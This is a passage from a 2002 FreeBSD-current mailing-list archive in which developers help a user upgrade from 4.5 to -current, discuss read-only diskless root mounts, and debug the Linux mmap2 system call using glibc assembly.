> diskless_root_readonly="NO" # Make it "YES" for readonly : : good. What's wrong with the current root_rw_mount knob? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:49:59 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 4EA5637B420 for ; Wed, 24 Apr 2002 18:49:56 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1mGH86489; Wed, 24 Apr 2002 19:48:16 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1mFb37275; Wed, 24 Apr 2002 19:48:16 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:48:11 -0600 (MDT) Message-Id: <20020424.194811.105459947.imp@village.org> To: Jeff.Kelly@t-online.de Cc: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <001901c1eb11$9abdb5a0$594bfea9@bender> References: <001901c1eb11$9abdb5a0$594bfea9@bender> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG You have to do, as UPDATING tells you: make buildworld make buildkernel make installkernel mergemaster -p make installworld mergemaster for things to work right. The Sig 12 are from new system calls in the newly compiled binaries. You must reboot a new kernel to cope. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:50:38 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id EE20337B416 for ; Wed, 24 Apr 2002 18:50:28 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1nBH86511; Wed, 24 Apr 2002 19:49:11 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1nAb37301; Wed, 24 Apr 2002 19:49:10 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:49:06 -0600 (MDT) Message-Id: <20020424.194906.07230224.imp@village.org> To: Jeff.Kelly@t-online.de Cc: brunner@nic-naa.net, freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <005e01c1eb13$cce043c0$594bfea9@bender> References: <200204232155.g3NLtis28172@nic-naa.net> <005e01c1eb13$cce043c0$594bfea9@bender> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <005e01c1eb13$cce043c0$594bfea9@bender> Jeff.Kelly@t-online.de (Christian Fl=FCgel) writes: : ----- Original Message ----- : From: "Eric Brunner-Williams in Portland Maine" = : To: "Christian Fl=FCgel" : Cc: ; : Sent: Tuesday, April 23, 2002 11:55 PM : Subject: Re: upgrade from 4.5 to current fails : = : = : > Yeah. I picked those up too -- the signal 12 @ the install phase of= : ch. : > I also got another shell failure when doing the depend phase of the= kernel : > build, but since I don't care what is in vers.c, and I don't care a= bout : the : > ch set of utilities, I cheerfully continued. : = : It is strange that nothing is mentioned in either UPDATING or README = about : these problems. That's because if you were following the instructions in UPDATING: To upgrade from 4.x-stable to current ------------------------------------- make buildworld make buildkernel KERNCONF=3DYOUR_KERNEL_HERE cp src/sys/${MACHINE_ARCH}/conf/GENERIC.hints /boot/device.hints [2] make installkernel KERNCONF=3DYOUR_KERNEL_HERE reboot in single user [3] mergemaster -p [5] make installworld mergemaster [4] [1] you wouldn't have these problems. :-) Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:52:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id D5FBA37B41C for ; Wed, 24 Apr 2002 18:52:28 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1pYH86546; Wed, 24 Apr 2002 19:51:34 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1pXb37340; Wed, 24 Apr 2002 19:51:34 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:51:29 -0600 (MDT) Message-Id: <20020424.195129.43923172.imp@village.org> To: Jeff.Kelly@t-online.de Cc: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <003801c1eb8a$0e786530$594bfea9@bender> References: <003801c1eb8a$0e786530$594bfea9@bender> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <003801c1eb8a$0e786530$594bfea9@bender> Jeff.Kelly@t-online.de (Christian Fl=FCgel) writes: : make installkernel: stops with error: "kldxref not found" That's not an error, just a warning and can safely be ignored. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:58:53 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 58E7137B405 for ; Wed, 24 Apr 2002 18:58:44 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1vUH86614; Wed, 24 Apr 2002 19:57:30 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1vLb37391; Wed, 24 Apr 2002 19:57:30 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:57:18 -0600 (MDT) Message-Id: <20020424.195718.34618377.imp@village.org> To: matusita@jp.FreeBSD.org Cc: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <20020425024918N.matusita@jp.FreeBSD.org> References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> <20020425024918N.matusita@jp.FreeBSD.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020425024918N.matusita@jp.FreeBSD.org> Makoto Matsushita writes: : : sgk> Note the Error code 1(ignored). : : That's right, it's not an actual *error*. : : However, we have seen such a report so many, many times. We may want : to consider changing src/sys/conf/kmod.mk to shut it up. Something like the following maybe: Index: kmod.mk =================================================================== RCS file: /cache/ncvs/src/sys/conf/kmod.mk,v retrieving revision 1.117 diff -u -r1.117 kmod.mk --- kmod.mk 22 Apr 2002 15:53:04 -0000 1.117 +++ kmod.mk 25 Apr 2002 01:56:43 -0000 @@ -166,6 +166,9 @@ .endif .endif +.if !exists(/usr/sbin/kldxref) +NO_XREF=yes +.endif .if !target(all-man) all-man: _SUBDIR To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 18:59:34 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 3875E37B41A for ; Wed, 24 Apr 2002 18:59:25 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1vqH86624; Wed, 24 Apr 2002 19:57:52 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1vpb37396; Wed, 24 Apr 2002 19:57:51 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:57:47 -0600 (MDT) Message-Id: <20020424.195747.15844500.imp@village.org> To: Jeff.Kelly@t-online.de Cc: sgk@troutmask.apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <001e01c1eba7$ad27ff70$594bfea9@bender> References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> <001e01c1eba7$ad27ff70$594bfea9@bender> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <001e01c1eba7$ad27ff70$594bfea9@bender> Jeff.Kelly@t-online.de (Christian Fl=FCgel) writes: : ----- Original Message ----- : From: "Steve Kargl" : To: "Christian Fl=FCgel" : Cc: : Sent: Wednesday, April 24, 2002 5:29 PM : Subject: Re: upgrade from 4.5 to current fails : = : = : > If you start at 4.5 and upgrade to current, then the : > installkernel should report : > : > kldxref /boot/kernel : > kldxref: No Such File or Directory : > : > ***Error code 1(ignored) : > : > Note the Error code 1(ignored). : ^^^^^^^^^^^ : = : I am sure that I am not the only one who is confused by this error me= ssage. : I overread the (ignored) part of the message and assumend that it was= a : genuine error. Nothing about this is mentioned in either UPDATING or = README : and it has cost me about one day to get things straight again. A quic= k note : in UPDATING about this could have saved me a lot of time and energy. : = : But I still get signal 12 exceptions when trying to installworld. : It seems to me that the install process still uses my old kernel and = I am : not able to load the new one. Could anybody please tell me how to ach= ieve : this? Did you reboot with the new kernel into single user mode first? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 19: 0:49 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 9174D37B404 for ; Wed, 24 Apr 2002 19:00:38 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1wmH86644; Wed, 24 Apr 2002 19:58:48 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1wkb37401; Wed, 24 Apr 2002 19:58:47 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:58:42 -0600 (MDT) Message-Id: <20020424.195842.74627617.imp@village.org> To: kris@obsecurity.org Cc: Jeff.Kelly@t-online.de, sgk@troutmask.apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <20020424162052.A14802@xor.obsecurity.org> References: <20020424082937.A35418@troutmask.apl.washington.edu> <001e01c1eba7$ad27ff70$594bfea9@bender> <20020424162052.A14802@xor.obsecurity.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020424162052.A14802@xor.obsecurity.org> Kris Kennaway writes: : On Wed, Apr 24, 2002 at 05:49:52PM +0200, Christian Fl=FCgel wrote: : = : > But I still get signal 12 exceptions when trying to installworld. : > It seems to me that the install process still uses my old kernel an= d I am : > not able to load the new one. Could anybody please tell me how to a= chieve : > this? : = : You're still actually running your 4.x kernel. This may be an : omission in the documentation for upgrading to 5.0: you need to : install the new /boot/defaults/ files so that the boot loader will : automatically pick up the changed default location of the 5.0 kernel.= Are you sure you need to do that by hand? When I upgraded my laptop I didn't need to do that. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 19: 4: 5 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.yumyumyum.org (dsl092-171-091.wdc1.dsl.speakeasy.net [66.92.171.91]) by hub.freebsd.org (Postfix) with SMTP id 47A6337B421 for ; Wed, 24 Apr 2002 19:03:57 -0700 (PDT) Received: (qmail 40581 invoked from network); 25 Apr 2002 02:02:12 -0000 Received: from dsl092-171-091.wdc1.dsl.speakeasy.net (66.92.171.91) by dsl092-171-091.wdc1.dsl.speakeasy.net with SMTP; 25 Apr 2002 02:02:12 -0000 Date: Wed, 24 Apr 2002 22:02:12 -0400 (EDT) From: Kenneth Culver To: Peter Wemm Cc: John Baldwin , FreeBSD-CURRENT List , , Brandon S Allbery KF8NH , Andrew Gallatin Subject: Re: implementing linux mmap2 syscall In-Reply-To: <20020424210936.S40254-100000@alpha.yumyumyum.org> Message-ID: <20020424215718.F40543-100000@alpha.yumyumyum.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Alright, so I got tired of trying to figure out if glibc is doing something wierd or wrong so I downloaded the source for it, and I'm looking at it now... (for version 2.2.2 which is what we have on FreeBSD's linux_base-7) and here's what I'm seeing: pushl %ebp pushl %ebx pushl %esi pushl %edi movl OFFLO(%esp), %edx movl OFFHI(%esp), %ecx testl $0xfff, %edx jne L(einval) shrdl $12, %ecx, %edx /* mmap2 takes the offset in pages. */ shrl $12, %ecx jne L(einval) movl %edx, %ebp So above I'm seeing the offset arg get into register %ebp, which is what we expect... movl ADDR(%esp), %ebx movl LEN(%esp), %ecx movl PROT(%esp), %edx movl FLAGS(%esp), %esi movl FD(%esp), %edi Then I'm seeing all the other args getting put into the registers they belong in... (which matches up with our linux_prepsyscall() function) movl $SYS_ify(mmap2), %eax /* System call number in %eax. */ /* Do the system call trap. */ L(do_syscall): int $0x80 Now I'm seeing the int 0x80 trap.... /* Restore registers. */ popl %edi popl %esi popl %ebx popl %ebp So, as far as I can tell, this version of glibc is doing the Right Thing, and the ebp register is getting messed up somewhere along the line in either the assembly code that handles the 0x80 trap in FreeBSD, or in syscall2 (I think it's probably the asm that handles the 0x80 trap)... Can anyone confirm this? Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 19:22:16 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id C161737B422 for ; Wed, 24 Apr 2002 19:22:07 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P1sEH86566; Wed, 24 Apr 2002 19:54:15 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P1sEb37366; Wed, 24 Apr 2002 19:54:14 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 19:54:10 -0600 (MDT) Message-Id: <20020424.195410.67984953.imp@village.org> To: Jeff.Kelly@t-online.de Cc: freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <004d01c1eb8a$bfadfef0$594bfea9@bender> References: <004d01c1eb8a$bfadfef0$594bfea9@bender> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <004d01c1eb8a$bfadfef0$594bfea9@bender> Jeff.Kelly@t-online.de (Christian Fl=FCgel) writes: : solved the problem. Maybe this should be put in UPDATING? I've added a note to the effect that you can safely ignore this warning. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 19:25:43 2002 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 664) id 4D7EA37B419; Wed, 24 Apr 2002 19:25:38 -0700 (PDT) Date: Wed, 24 Apr 2002 19:25:38 -0700 From: David O'Brien To: danny@cs.huji.ac.il, current@FreeBSD.ORG Subject: Re: FreeBSD 5.0 Developer Preview #1 Now Available / diskless booting Message-ID: <20020424192538.A96594@hub.freebsd.org> Reply-To: obrien@freebsd.org References: <20020422234701.A52794@dragon.nuxi.com> <20020424.194420.123207810.imp@village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020424.194420.123207810.imp@village.org>; from imp@village.org on Wed, Apr 24, 2002 at 07:44:20PM -0600 X-Operating-System: FreeBSD 4.5-STABLE Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Danny, What do you think about doing a little more polishing and rolling a new set of patches taking this /etc/rc.conf option into account? Your kernel env dhcp variables are really good. I know that many do want to do what you are doing (large scale RO /); but up until now /etc/rc.diskless* has not been well engineered. On Wed, Apr 24, 2002 at 07:44:20PM -0600, M. Warner Losh wrote: > : The very original "solution" was to mount NFS / RW. The move to > : /conf/default/etc was someone's special needs leaking into the FreeBSD > : repository. If you want to special case, things be my guest -- add an > : elif test; but leave RW NFS mounted / alone. > > / should only be mounted RO IFF root_rw_mount is not empty aand > doesn't match [Nn][Oo]. We already have a variable for dealing with > that. /etc/rc.diskless* shouldn't, as obrien points out, assume a > specific setting. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 19:29:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-18.dsl.lsan03.pacbell.net [64.165.226.18]) by hub.freebsd.org (Postfix) with ESMTP id 721C837B419 for ; Wed, 24 Apr 2002 19:29:04 -0700 (PDT) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 132E966C8C; Wed, 24 Apr 2002 19:27:41 -0700 (PDT) Date: Wed, 24 Apr 2002 19:27:40 -0700 From: Kris Kennaway To: "M. Warner Losh" Cc: kris@obsecurity.org, Jeff.Kelly@t-online.de, sgk@troutmask.apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails Message-ID: <20020424192740.A19539@xor.obsecurity.org> References: <20020424082937.A35418@troutmask.apl.washington.edu> <001e01c1eba7$ad27ff70$594bfea9@bender> <20020424162052.A14802@xor.obsecurity.org> <20020424.195842.74627617.imp@village.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="2fHTh5uZTiUOsy+g" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020424.195842.74627617.imp@village.org>; from imp@village.org on Wed, Apr 24, 2002 at 07:58:42PM -0600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --2fHTh5uZTiUOsy+g Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Apr 24, 2002 at 07:58:42PM -0600, M. Warner Losh wrote: > In message: <20020424162052.A14802@xor.obsecurity.org> > Kris Kennaway writes: > : On Wed, Apr 24, 2002 at 05:49:52PM +0200, Christian Fl=FCgel wrote: > :=20 > : > But I still get signal 12 exceptions when trying to installworld. > : > It seems to me that the install process still uses my old kernel and = I am > : > not able to load the new one. Could anybody please tell me how to ach= ieve > : > this? > :=20 > : You're still actually running your 4.x kernel. This may be an > : omission in the documentation for upgrading to 5.0: you need to > : install the new /boot/defaults/ files so that the boot loader will > : automatically pick up the changed default location of the 5.0 kernel. >=20 > Are you sure you need to do that by hand? When I upgraded my laptop I > didn't need to do that. Does installkernel do this already? Otherwise I can't see how the updated loader.conf gets into /boot/defaults by this point in the instructions. Kris --2fHTh5uZTiUOsy+g Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8x2mcWry0BWjoQKURAncSAJsFKLm/lHi8Jfwne6riA0rAQAzlAQCfYjfS 8hkpPBMCQu8A5u8MtnTIlLA= =BwEt -----END PGP SIGNATURE----- --2fHTh5uZTiUOsy+g-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 20:17: 1 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id B8B6037B404 for ; Wed, 24 Apr 2002 20:16:57 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P3EmH86921; Wed, 24 Apr 2002 21:14:48 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P3Elb37688; Wed, 24 Apr 2002 21:14:47 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 21:14:38 -0600 (MDT) Message-Id: <20020424.211438.89996982.imp@village.org> To: kris@obsecurity.org Cc: Jeff.Kelly@t-online.de, sgk@troutmask.apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <20020424192740.A19539@xor.obsecurity.org> References: <20020424162052.A14802@xor.obsecurity.org> <20020424.195842.74627617.imp@village.org> <20020424192740.A19539@xor.obsecurity.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Oh, wait, I see the chicken and egg that you are talking about... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 20:21:34 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 809F037B419 for ; Wed, 24 Apr 2002 20:21:27 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P3ETH86912; Wed, 24 Apr 2002 21:14:29 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P3ERb37683; Wed, 24 Apr 2002 21:14:28 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 21:14:18 -0600 (MDT) Message-Id: <20020424.211418.124988185.imp@village.org> To: kris@obsecurity.org Cc: Jeff.Kelly@t-online.de, sgk@troutmask.apl.washington.edu, freebsd-current@FreeBSD.ORG Subject: Re: upgrade from 4.5 to current fails From: "M. Warner Losh" In-Reply-To: <20020424192740.A19539@xor.obsecurity.org> References: <20020424162052.A14802@xor.obsecurity.org> <20020424.195842.74627617.imp@village.org> <20020424192740.A19539@xor.obsecurity.org> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020424192740.A19539@xor.obsecurity.org> Kris Kennaway writes: : On Wed, Apr 24, 2002 at 07:58:42PM -0600, M. Warner Losh wrote: : > In message: <20020424162052.A14802@xor.obsecurity.org> : > Kris Kennaway writes: : > : On Wed, Apr 24, 2002 at 05:49:52PM +0200, Christian Fl=FCgel wrot= e: : > : = : > : > But I still get signal 12 exceptions when trying to installworl= d. : > : > It seems to me that the install process still uses my old kerne= l and I am : > : > not able to load the new one. Could anybody please tell me how = to achieve : > : > this? : > : = : > : You're still actually running your 4.x kernel. This may be an : > : omission in the documentation for upgrading to 5.0: you need to : > : install the new /boot/defaults/ files so that the boot loader wil= l : > : automatically pick up the changed default location of the 5.0 ker= nel. : > = : > Are you sure you need to do that by hand? When I upgraded my lapto= p I : > didn't need to do that. : = : Does installkernel do this already? Otherwise I can't see how the : updated loader.conf gets into /boot/defaults by this point in the : instructions. No. But installworld does in sys/boot/${ARCH}/Makefile seems to do so. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 21:55:43 2002 Delivered-To: freebsd-current@freebsd.org Received: from mailout03.sul.t-online.com (mailout03.sul.t-online.com [194.25.134.81]) by hub.freebsd.org (Postfix) with ESMTP id 484C937B427 for ; Wed, 24 Apr 2002 21:55:00 -0700 (PDT) Received: from fwd02.sul.t-online.de by mailout03.sul.t-online.com with smtp id 170bG9-00068L-06; Thu, 25 Apr 2002 06:53:33 +0200 Received: from bender (310048585289-0001@[217.80.84.113]) by fwd02.sul.t-online.com with smtp id 170bG7-0Po7aiC; Thu, 25 Apr 2002 06:53:31 +0200 Message-ID: <001d01c1ec15$254bd680$594bfea9@bender> From: Jeff.Kelly@t-online.de (=?iso-8859-1?Q?Christian_Fl=FCgel?=) To: "Kris Kennaway" Cc: References: <004d01c1eb8a$bfadfef0$594bfea9@bender> <20020424082937.A35418@troutmask.apl.washington.edu> <001e01c1eba7$ad27ff70$594bfea9@bender> <20020424162052.A14802@xor.obsecurity.org> Subject: Re: upgrade from 4.5 to current fails Date: Thu, 25 Apr 2002 06:53:30 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Sender: 310048585289-0001@t-dialin.net Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ----- Original Message ----- From: "Kris Kennaway" To: "Christian Flügel" Cc: "Steve Kargl" ; Sent: Thursday, April 25, 2002 1:20 AM Subject: Re: upgrade from 4.5 to current fails >You're still actually running your 4.x kernel. This may be an >omission in the documentation for upgrading to 5.0: you need to >install the new /boot/defaults/ files so that the boot loader will >automatically pick up the changed default location of the 5.0 kernel. Thanks now everything is working fine. Regards Christian To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Apr 24 22:10:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from smtp3.wanadoo.nl (smtp3.wanadoo.nl [194.134.35.186]) by hub.freebsd.org (Postfix) with ESMTP id 1B91B37B405; Wed, 24 Apr 2002 22:10:40 -0700 (PDT) Received: from ams-gw.sohara.org (p3699.vwr.wanadoo.nl [212.129.226.123]) by smtp3.wanadoo.nl (8.11.3/8.11.3) with SMTP id g3P5Aav01753; Thu, 25 Apr 2002 07:10:36 +0200 